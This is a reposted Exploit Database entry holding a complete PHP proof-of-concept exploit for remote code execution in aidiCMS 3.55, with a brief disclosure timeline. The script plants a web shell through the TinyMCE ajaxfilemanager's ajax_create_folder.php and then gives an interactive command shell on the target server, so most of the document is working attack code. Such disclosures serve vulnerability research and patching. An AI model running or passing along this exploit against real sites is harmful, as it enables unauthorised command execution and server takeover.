aidiCMS 3.55 – ‘ajax_create_folder.php’ Remote Code Execution

Exploit Database
128 阅读

作者： EgiX

日期： 2011-11-05
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/18085/

<?php

--------------------------------------------------------------------

aidiCMS v3.55 (ajax_create_folder.php) Remote Code Execution Exploit

--------------------------------------------------------------------

author............: Egidio Romano aka EgiX

mail..............: n0b0d13s[at]gmail[dot]com

software link.....: http://code.google.com/p/aidicms/

+-------------------------------------------------------------------------+

| This proof of concept code was written for educational purpose only.|

| Use it at your own risk. Author will be not responsible for any damage. |

+-------------------------------------------------------------------------+

[-] Vulnerability overview:

aidiCMS v3.55 is affected by the vulnerability that I reported to http://www.exploit-db.com/exploits/18075/

[-] Disclosure timeline:

[23/10/2011] - Vulnerability discovered

[24/10/2011] - Issue reported to http://code.google.com/p/aidicms/issues/detail?id=3

[26/10/2011] - Project members contacted via e-mail

[04/11/2011] - Still no response received

[05/11/2011] - Public disclosure

error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);

function http_send($host, $packet)

{

if (!($sock = fsockopen($host, 80)))

die( "\n[-] No response from {$host}:80\n");

fwrite($sock, $packet);

return stream_get_contents($sock);

}

print "\n+-----------------------------------------------------+";

print "\n| aidiCMS v3.55 Remote Code Execution Exploit by EgiX |";

print "\n+-----------------------------------------------------+\n";

if ($argc < 3)

{

print "\nUsage......: php $argv[0] <host> <path>\n";

print "\nExample....: php $argv[0] localhost /";

print "\nExample....: php $argv[0] localhost /aidicms/\n";

die();

}

$host = $argv[1];

$path = $argv[2];

$payload = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";

$packet= "POST {$path}modul/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet= "GET {$path}modul/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cmd: %s\r\n";

$packet .= "Connection: close\r\n\r\n";

while(1)

{

print "\naidicms-shell# ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?

print $m[1] : die("\n[-] Exploit failed!\n");

}